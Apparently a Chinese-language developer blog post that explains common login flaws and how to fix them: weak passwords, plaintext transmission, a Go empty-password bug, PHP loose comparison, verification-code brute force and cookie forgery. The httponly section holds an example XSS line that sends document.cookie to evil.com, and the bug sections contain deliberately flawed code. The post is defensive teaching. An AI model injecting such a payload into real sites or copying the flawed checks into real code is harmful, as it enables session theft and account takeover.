後端開發都應該了解的登錄漏洞
登錄是大部分網站都具備的一個功能,作為用戶使用系統的第一步,如果登陸邏輯設計不合理,容易被攻擊者利用,造成安全問題。
密碼泄漏
弱口令
相信大家都知道弱口令是什麼意思,用戶為了方便,一般會使用123456、admin、passwd、password、123qwe等這些作為自己的常用密碼,方便好記。黑客會對這些人們常用的密碼建立破譯字典,逐個嘗試進行破解。另外,也建議大家不要用生日、手機號、姓名等相關資訊作為密碼,黑客在進行暴力破解前,會先收集用戶的這些相關資訊,錄入破譯字典中。
在Have I Been Pwned上可以查到,”123456″這個密碼已經被使用了24,230,577
次
解決辦法
最直接的解決辦法,當然就是用戶自己設置複雜的密碼了。但是我們也應該從開發的角度提高安全性。
強制提高密碼強度
程式規定密碼強度規則,用戶設置密碼時,判斷密碼的強度是否符合要求,不符合拒絕設置。
限制登陸頻率
暴力破解原理是用破譯欄位里的密碼不斷嘗試登陸,我們可以程式控制登錄頻率,比如1分鐘限制5次嘗試登陸,超過這個次數後,再嘗試登陸需要手機號/郵箱驗證碼。提高暴力破解的難度。
密碼明文傳輸
用戶請求登陸時,將用戶的帳號和密碼通過明文的方式直接傳輸到服務端,黑客利用中間人攻擊等手段,就能容易截獲到用戶的帳號密碼。
解決辦法
客戶端和服務端之間的連接使用https加密傳輸。避免傳輸數據被第三方獲取。
程式碼邏輯漏洞
空密碼登錄
密碼輸錯登陸失敗,不輸密碼直接登陸進去了,乍一看不可思議,但確實有這種情況。
func Login(ctx context.Context, userID string, passwdInput *PasswdInfo) (err error) {
if passwdInput != nil && !passwordChk(userID, passwdInput.password) {
return errors.New("密碼錯誤")
}
// 成功通過
...
}
大家別笑,真有遇到過這種程式碼, 可能是由於之前出現過passwdInput傳入nil導致程式碼直接panic了,修改時沒注意看邏輯,直接加了一層檢查nil的判斷,導致漏洞的出現。
“萬能密碼” – true
寫PHP的同學肯定都了解”==”和”===”的區別。
if($passwdFromDb == $passwdInput)
{
// 登陸成功
}
上面程式碼,如果passwdInput傳入true
,就能校驗通過了。導致”萬能密碼”。所以同學們寫的時候別吝嗇那個”=”,說不定能救你一命。
驗證碼漏洞
如今,登陸、修改密碼越來越多都依賴手機/郵箱驗證碼了,有些甚至可以帳號/手機號 + 驗證碼
的免密登陸,驗證碼控制不當也會是一個漏洞重災區。
驗證碼暴力破解
當登陸/修改密碼時,服務端向我們手機發送一個6位的驗證碼。如果服務端沒有對驗證碼做任何限制。攻擊者就能對驗證碼進行暴力嘗試。
處理辦法
- 對驗證碼嘗試次數/頻率進行限制
- 控制驗證碼的有效期
A的驗證碼,修改B的用戶資訊
A修改用戶資訊時,需要驗證碼校驗。後端將用戶會話token當成key,value為驗證碼,在redis中存儲。校驗時,只通過token校驗驗證碼,不校驗要修改資訊的目標帳號,比如A在修改參數中的userID = B,就會導致修改了B的用戶資訊。造成漏洞。
解決辦法
注意驗證碼與目標帳號身份的匹配。
cookie漏洞
cookie是用於客戶端存儲會話狀態的,使用不加註意容易導致漏洞產生。
使用cookie進行身份驗證
- 介面通過請求頭中cookie的userID判斷用戶身份。可以直接修改cookie中的userID欄位,偽造成任意其他用戶。
- 介面通過請求頭中cookie的role欄位判斷用戶許可權,可以直接修改前端cookie中的role欄位,對用戶進行提權。
解決辦法
使用服務端的session存儲用戶資訊,介面進行身份驗證時,可以通過cookie中的sessionID欄位,找到對應session內容,獲取到用戶資訊,再進行後續判斷。
cookie未設置httponly
xss攻擊是一種程式碼注入攻擊,攻擊者在網站上注入惡意程式碼,使之在用戶訪問網站時運行,從而獲取用戶的敏感資訊。 注入惡意程式碼
並不需要直接改網站源程式碼,比如用戶在一個評論區寫下
<script src=「//evil.com」 + escape(document.cookie)>
而程式沒有對輸入內容進行程式碼字元轉義。其他人打開評論區時,就會自動運行這段惡意程式碼,將自己的cookie內容發送到//evil.com
,導致cookie的泄漏。
當使用session存儲用戶資訊時,cookie中存放著sessionID,後端介面根據sessionID對應的session進行用戶身份校驗。如果cookie中的sessionID被攻擊者獲取,即可以偽造受害者身份登陸網站。
處理辦法
開啟cookie的httponly屬性,開啟後,無法通過js腳本讀取到cookie資訊。可以有效防止xss攻擊竊取cookie內容。
大家還知道其他的什麼登陸漏洞,歡迎分享探討~
寫在最後
喜歡本文的朋友,歡迎關注公眾號「會玩code」,專註大白話分享實用技術